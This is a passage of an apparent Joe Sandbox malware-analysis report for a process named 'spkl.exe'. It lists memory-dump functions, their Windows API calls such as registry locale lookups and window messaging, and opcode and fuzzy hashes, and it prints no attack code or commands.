API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 9fae68ba3f477360f31c16ac772551eee2fe24a9e2e1546bbafc5860106b5fc0
Instruction ID: 4624473e3048304426c4c816e0fe510af09dd4fd3fd21f27f4fd5835ab8b64bb
Opcode Fuzzy Hash: 9fae68ba3f477360f31c16ac772551eee2fe24a9e2e1546bbafc5860106b5fc0
Instruction Fuzzy Hash: 121123B68006498FDB14CF9AD444BDEFBF4EB88324F14802ED858A7341D378A545CFA9

Function 08EB49B8 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 08EB4A2A

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 029dd3a1408881b4bae1bf5bf23105c2e24090700069b1720d5c3e0587e2c008
Instruction ID: 954f720b830bba5dc758f278df8a49443146587bda6cceb866ce630a09db895d
Opcode Fuzzy Hash: 029dd3a1408881b4bae1bf5bf23105c2e24090700069b1720d5c3e0587e2c008
Instruction Fuzzy Hash: 981159B68006498FDB14CF9AD444BDEFBF4AF48324F14851ED468A3391D338A545CF69

Function 0A660608 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0A660670

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: a13b80c979eb9e3b51bd1f556e8c031def71a75991da6d8fa7ed5796297f9ce0
Instruction ID: 2a7c777abd9c940a153c32b374727792696e3d2bc8397b4cc92c32ca3cb907cf
Opcode Fuzzy Hash: a13b80c979eb9e3b51bd1f556e8c031def71a75991da6d8fa7ed5796297f9ce0
Instruction Fuzzy Hash: 0E11C3B5800249DFDB10CF9AD944BDEFBF8EB48320F15842AE958A7351C379A944CFA5

Function 0A6608D8 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0A66093D

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1b3e55349394b5d50509f1cafa6d8a4cb1daf5423d3c6fbaeabac918f2df566f
Instruction ID: c9cea2d39dc87eb7578a59a006e7eb4574f9d397815189930a8fb318da651ed6
Opcode Fuzzy Hash: 1b3e55349394b5d50509f1cafa6d8a4cb1daf5423d3c6fbaeabac918f2df566f
Instruction Fuzzy Hash: 0111C3B58002499FDB10CF9AD844BDEFBF8EB48314F15842AE558A3341C378A945CFA5

Function 08EB967B Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 08EB96DD

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e0f8ae01493d12f73820ac5a8d336e51741cd413870a1ea4f7b2924c169cd2c7
Instruction ID: 141fd61672049d24c59a9349be6347d15e82895919910dd505272fa8a109e599
Opcode Fuzzy Hash: e0f8ae01493d12f73820ac5a8d336e51741cd413870a1ea4f7b2924c169cd2c7
Instruction Fuzzy Hash: BB1113B68003499FDB10CF9AC885BEEBBF8EB48320F148459E558A7241D378A944CFA5

Function 08EB9680 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 08EB96DD

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: cf06fac1f5691ce2d70036c3042e02b3f367f51cac7e767b3ecc508987116bf9
Instruction ID: 3e3b2c2935729bc24937b40318afc0edb4d85c02b09c51d4dc0a082ae2717901
Opcode Fuzzy Hash: cf06fac1f5691ce2d70036c3042e02b3f367f51cac7e767b3ecc508987116bf9
Instruction Fuzzy Hash: 511125B6800349DFDB10CF9AC845BEEFBF8EB48320F108419E558A3241D378A944CFA5

Function 02CBAFE0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02CBB046

Memory Dump Source

Source File: 00000007.00000002.1804479910.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cb0000_[space]= .jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d9e966ee35afc9265bf6dfb0ce6c2823f2d786af68717a8388860e522e90c33f
Instruction ID: 760b3fc4ec193998c9df141163249be5a5fb33433d9cc4fb83d083ac817001fd
Opcode Fuzzy Hash: d9e966ee35afc9265bf6dfb0ce6c2823f2d786af68717a8388860e522e90c33f
Instruction Fuzzy Hash: 2D11DFB6C007498FDB20CF9AD544AEEFBF4AF88214F14845AD829A7650C379A945CFA1

Function 08EB4EF1 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 08EB4F55

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c661b457fc0ec323d41e11756da223c91343fadcab40060aad81160bfaf51dbb
Instruction ID: dbe89e799f8b9ca8dbf207939c078c76b130a3d1e1f51146cc0bfd9075e0cd3d
Opcode Fuzzy Hash: c661b457fc0ec323d41e11756da223c91343fadcab40060aad81160bfaf51dbb
Instruction Fuzzy Hash: B91122B68007489FDB10CF9AC885BDEBBF8EB48314F10840AE418A7340C375A940CFA5

Function 0A66BA78 Relevance: 1.5, APIs: 1, Instructions: 47threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0A66C298

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 34f56d51f68784663d04a003b51860023c3fdc28886bf5ac3ca787214356b5f8
Instruction ID: 9c602e621c4dd842f4059d15e318dd6c6db203aa5b94f336df172e5a773106a7
Opcode Fuzzy Hash: 34f56d51f68784663d04a003b51860023c3fdc28886bf5ac3ca787214356b5f8
Instruction Fuzzy Hash: 101125B58107499FDB20CF9AC849BDEBFF4FB08714F10880AE958A7240C379A584CFA5

Function 08EB9AB0 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 08EBB115

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b1f5ef59bbf9088113f1ae0726cbe177a8df06b0e4b539b7ef82dd40893fd10a
Instruction ID: 4b81f67658ce985fa8020b420d1720443d6dd2895b62502153608d5c90e3fb8c
Opcode Fuzzy Hash: b1f5ef59bbf9088113f1ae0726cbe177a8df06b0e4b539b7ef82dd40893fd10a
Instruction Fuzzy Hash: 8D1100B5800788CFDB20DF9AD445BDEFBF8EB88224F208459D518A7300D379A944CFA5

Function 08EBB0BB Relevance: 1.5, APIs: 1, Instructions: 44comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 08EBB115

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 64ef97c4d08d67fc5a5ca3b4ab5ab62d4c3fc5572684fa9fd1a40c8f0d3dc623
Instruction ID: d12583cd5c6e28e549664ee4bacfc63e80df0202e64fbcd992ebf8b5c71d130d
Opcode Fuzzy Hash: 64ef97c4d08d67fc5a5ca3b4ab5ab62d4c3fc5572684fa9fd1a40c8f0d3dc623
Instruction Fuzzy Hash: F511E2B5800748CFDB20DF9AD845BDEFBF8EB48224F248459D518A7740D379A944CFA5

Function 08EB4EF8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 08EB4F55

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: edb3f48dae87fd75151f80641abd6c0270cb951cf85cf231a0e2e9316e741223
Instruction ID: 339bd2fbb45e487afd85cd472c0ddc34732103ee47a18fc7b8136da675ce9367
Opcode Fuzzy Hash: edb3f48dae87fd75151f80641abd6c0270cb951cf85cf231a0e2e9316e741223
Instruction Fuzzy Hash: A411FEB68002489FDB10CF9AC885BDEBBF8EB48324F10841AE518A7240C379A944CFA5

Function 0A660DA8 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0A660E05

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 485b51c05353791ba0a7a6dc21d1f99066c8d56fcd0df12017fb3af08bd4a928
Instruction ID: b9ec554ef09f80e8807e8c08c47b05ed2eb46c2c61eee1e2e1e418630e2a9b82
Opcode Fuzzy Hash: 485b51c05353791ba0a7a6dc21d1f99066c8d56fcd0df12017fb3af08bd4a928
Instruction Fuzzy Hash: 1511FBB5C00689CFCB20CF9AE444B9EFBF4AB48324F10846AD418A3300C378A544CFA6

Function 0A660DA0 Relevance: 1.5, APIs: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0A660E05

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 091f0b28698a30d2065ba32d8bece677762986aa51a2687c57387624474cab0f
Instruction ID: 54422a6cdcfb5400df5c4b05f59f799292ffee517ad79cd5f2af8a7f8ccbd5be
Opcode Fuzzy Hash: 091f0b28698a30d2065ba32d8bece677762986aa51a2687c57387624474cab0f
Instruction Fuzzy Hash: 5111FEB5C04689CFCB10CF9AD544BDEFBF4AB48214F14846AD458A7741C378A545CFA5

Function 08EB9653 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 08EB96DD

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 1445ea334dc6d6191e817ef727104c510a145f0e73249f38773a6f613402a85d
Instruction ID: 6ef81f9e5bd65f4b939356ebac14d2cdb1fc086d1e76add4b844ffb656be37fc
Opcode Fuzzy Hash: 1445ea334dc6d6191e817ef727104c510a145f0e73249f38773a6f613402a85d
Instruction Fuzzy Hash: 55F0E533500202DFEB20DB5AD4457EEFBD0DF50329F18845AD198D3292D3789184C751

Function 0111D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1803809055.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_111d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd03f1dc5561e5d242092df62d30cb0fd0a82618ee194e70c32bd647c885769d
Instruction ID: 87e016d6d0e6ecd6b533ccd06a563142323054855193c5bf9ed80f346511c06f
Opcode Fuzzy Hash: dd03f1dc5561e5d242092df62d30cb0fd0a82618ee194e70c32bd647c885769d
Instruction Fuzzy Hash: A0212471500244DFDF19DF54E8C4B26FF71FB84218F20C179E8050B64AC336D406CAA2

Function 0112D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1803893547.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_112d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1065843e39a89fb06c5bca3cc2b23a91b90bc4ede89ce93ba748e0fb46d0120
Instruction ID: c75aa942127a02326dd571ec2f173f16cc9545ac0e8d13c77205f42241937171
Opcode Fuzzy Hash: f1065843e39a89fb06c5bca3cc2b23a91b90bc4ede89ce93ba748e0fb46d0120
Instruction Fuzzy Hash: 3D212971504304EFDF19DF94E9C0B25BB65FB85324F24C56DE8094B252C336D456CA62

Function 0112D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1803893547.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_112d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88d1377c8fead8b671c1fc8c429543a25d784165e130227fcbe566ab5dccc6f
Instruction ID: dfe6f6925cb0a2698df00e4aed48764fdaa29ae0ea768baaaefead08b67c415b
Opcode Fuzzy Hash: e88d1377c8fead8b671c1fc8c429543a25d784165e130227fcbe566ab5dccc6f
Instruction Fuzzy Hash: 56212571504344DFDF19DFA4E880B16BB61FB84314F20C56DD8090B266C33AD417CA66

Function 0112D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1803893547.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_112d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 444218df337380e8e29cbc3d4acfc4808bfa35c267be631adee8a2bd2b0bd060
Instruction ID: 803c1bf1b3c2b623f2fe0ed695837c27f1f0af51791f9e3f660a2cb84e80e3c5
Opcode Fuzzy Hash: 444218df337380e8e29cbc3d4acfc4808bfa35c267be631adee8a2bd2b0bd060
Instruction Fuzzy Hash: 272180755083809FCB06CF64D994715BF71EB46214F28C5DAD8498F2A7C33A9856CB62

Function 0111D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1803809055.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_111d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction ID: a37a01d4f424604480380bd72877b1095ebeeebca5ddae6420855ae75f3b4641
Opcode Fuzzy Hash: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction Fuzzy Hash: DC119D76504280DFCF16CF54E9C4B16FF71FB84218F24C6A9D8490B65AC336D456CBA2

Function 0112D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1803893547.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_112d000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction ID: f01e682b4c20b1c2ddcb923139ea806a07a8e5ff70115702d039184ea75a04b8
Opcode Fuzzy Hash: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction Fuzzy Hash: 7B11BB75904280DFDB0ACF54D5C0B15FFA1FB85224F24C6A9D8494B696C33AD45ACB62

Non-executed Functions

Function 053C0040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f0356245249a2b16943b456a5ecc6bf285b742789b46ab28350aad94403200
Instruction ID: 7eff87829cba520a4c0117fff67dea8c6f2e297435e7f0f123f2877ff6cf9d37
Opcode Fuzzy Hash: 34f0356245249a2b16943b456a5ecc6bf285b742789b46ab28350aad94403200
Instruction Fuzzy Hash: 2512B7F0D82B458AE310DF25EA4C3897BB1B789395BE04F09D2619B2E1DBB4116ACF54

Function 053CD937 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d68ebc7410b02ab653e693c42d19814fe454747b622bc75cc2cbc592871b342c
Instruction ID: da436602fa7e7a3af8e734ce93e44b685b0bc203ff79f12ce4acf8ecbec02e5c
Opcode Fuzzy Hash: d68ebc7410b02ab653e693c42d19814fe454747b622bc75cc2cbc592871b342c
Instruction Fuzzy Hash: 49D1D73192075A8ACB00EB64D990699F771FFD5300F50CBAAE4493B215FB716AC8CF91

Function 02CBDC34 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1804479910.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cb0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db56b10b089543cc5589f3155e9cc55e2e841a79f093137eead17560cdd765e
Instruction ID: f3cfbc05fa1fa3b330e78287f24327e217f05cc0df90f9153f4ca8cbd2fbded9
Opcode Fuzzy Hash: 3db56b10b089543cc5589f3155e9cc55e2e841a79f093137eead17560cdd765e
Instruction Fuzzy Hash: 9DA17C36E006198FCF06DFB4C8805DEB7B2FF84301B15456AE906AB265DB71EA16DF80

Function 053CD948 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab9a5efac40b70844f635ddb835e3ce3efd6eb2c8790f1f48a0626dd9d32e66a
Instruction ID: 89b3937dae0365790688f3eb5e262222f0093975499cb73663333724ba9019d8
Opcode Fuzzy Hash: ab9a5efac40b70844f635ddb835e3ce3efd6eb2c8790f1f48a0626dd9d32e66a
Instruction Fuzzy Hash: 0AD1D73192075A8ACB00EBA8D850699F771FFD5300F50CBAAE4493B215FB716AC8CF91

Function 053C0013 Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df7cda1e26d766988caf0dec0aeca69f48a6a8f5cabe7f23d541302e7c7dfff3
Instruction ID: 036a976565aba645b2019d7d7762c32aa7aa21bb601f3874c869320d9e58fdf7
Opcode Fuzzy Hash: df7cda1e26d766988caf0dec0aeca69f48a6a8f5cabe7f23d541302e7c7dfff3
Instruction Fuzzy Hash: 17C11AB0C82B458FD710DF25E9483897BB1FB89395FA44F0AD161AB2E0DBB4146ACF54

Analysis Process: spkl.exePID: 7712, Parent PID: 4452COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	67.4%
Signature Coverage:	4.7%
Total number of Nodes:	341
Total number of Limit Nodes:	34

Executed Functions

Function 03374CB8 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 151
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03374CD4
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03374CF2
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F003F,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03374D10
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000005,00000000,03374D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?), ref: 03374D4A
RegQueryValueExA.ADVAPI32(?,03374EB0,00000000,00000000,00000000,00000005,?,00000000,00000000,00000000,00000000,00000005,00000000,03374D84,?,80000001), ref: 03374D68
RegCloseKey.ADVAPI32(?,03374D8B,00000000,00000000,00000005,00000000,03374D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03374D7E
lstrcpy.KERNEL32(?,?), ref: 03374D96
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?), ref: 03374DA3
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?), ref: 03374DA9
lstrlen.KERNEL32(00000000), ref: 03374DD4
lstrcpy.KERNEL32(00000000,00000000), ref: 03374E0B
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 03374E1B
lstrcpy.KERNEL32(00000000,00000000), ref: 03374E31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03374E41
lstrcpy.KERNEL32(00000000,00000000), ref: 03374E55
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03374E65

Strings

Software\Borland\Locales, xrefs: 03374CE8
Software\Borland\Delphi\Locales, xrefs: 03374D06
., xrefs: 03374DE6

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: lstrcpy$LibraryLoad$LocaleOpenQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 466793542-3917250287
Opcode ID: 4429f52dbc20f82e513700f8f06f97a51bab415c4bb6960da3aab6e5ed3137e3
Instruction ID: 1301c6a32bd4b915149e17ab27c9e8d1de7be1d9692da52a9940ce7e889c775b
Opcode Fuzzy Hash: 4429f52dbc20f82e513700f8f06f97a51bab415c4bb6960da3aab6e5ed3137e3
Instruction Fuzzy Hash: 4C418276D4035C7EEB31D6E48CC6FEEB7AC9B04750F4500A1A604EA581D7BCAA84CBA1

Function 03374D8A Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 03374D96
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?), ref: 03374DA3
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?), ref: 03374DA9
lstrlen.KERNEL32(00000000), ref: 03374DD4
lstrcpy.KERNEL32(00000000,00000000), ref: 03374E0B
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 03374E1B
lstrcpy.KERNEL32(00000000,00000000), ref: 03374E31
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03374E41
lstrcpy.KERNEL32(00000000,00000000), ref: 03374E55
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 03374E65

Strings

., xrefs: 03374DE6

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: lstrcpy$LibraryLoad$Locale$InfoThreadlstrlen
String ID: .
API String ID: 83785346-248832578
Opcode ID: 1679add4925f18d3045a051d51c388a46b2d4d95985325ceb72851c3d43ca984
Instruction ID: 9cfd3f65df197a30ef4e51d0cd123f3da713f0a079876cf526a71ab089a38f03
Opcode Fuzzy Hash: 1679add4925f18d3045a051d51c388a46b2d4d95985325ceb72851c3d43ca984
Instruction Fuzzy Hash: 4B216076D0036C79EF31D2E49CC5FEEA7AC5B05354F4800E1A608EA481D77CAA84CB91

Function 0040AD50 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,?,00000000,?,0040AF14,?,?,?,00000000,00000105,00000000,0040AF4B), ref: 0040AD6C
GetLocaleInfoW.KERNEL32(?,00000003,?,?,00000000,?,0040AF14,?,?,?,00000000,00000105,00000000,0040AF4B), ref: 0040AD75

Part of subcall function 0040AC68: FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040AC82
Part of subcall function 0040AC68: FindClose.KERNEL32(00000000,?,?,00000000), ref: 0040AC92

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: 316a988e03bb6a19fe7d88bc5a369a1a7340225a20f3a7857aa2c13cfe36e33b
Instruction ID: 05cb4437e63bb6b3272f06b966d88aae6be7d9b60112c97dc79dcad86f01a405
Opcode Fuzzy Hash: 316a988e03bb6a19fe7d88bc5a369a1a7340225a20f3a7857aa2c13cfe36e33b
Instruction Fuzzy Hash: DEF03A752413086FDB00DE9DD98CDA677DCBF18358F4040AAF948DF381C679E8409B69

Function 0040AC68 Relevance: 3.0, APIs: 2, Instructions: 21fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040AC82
FindClose.KERNEL32(00000000,?,?,00000000), ref: 0040AC92

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 9d19eb6e901d290de53762759ddddb56684746f91034ed087828929b31504424
Instruction ID: 4447641847811743a9d484fd75f598e74346f1db9ae7184df3dfd51839572a63
Opcode Fuzzy Hash: 9d19eb6e901d290de53762759ddddb56684746f91034ed087828929b31504424
Instruction Fuzzy Hash: 0DD0C26251060927CA20D9BC8C89A9E738C5A00224B180766795CE32C0FA35D91005AD

Function 033775E8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
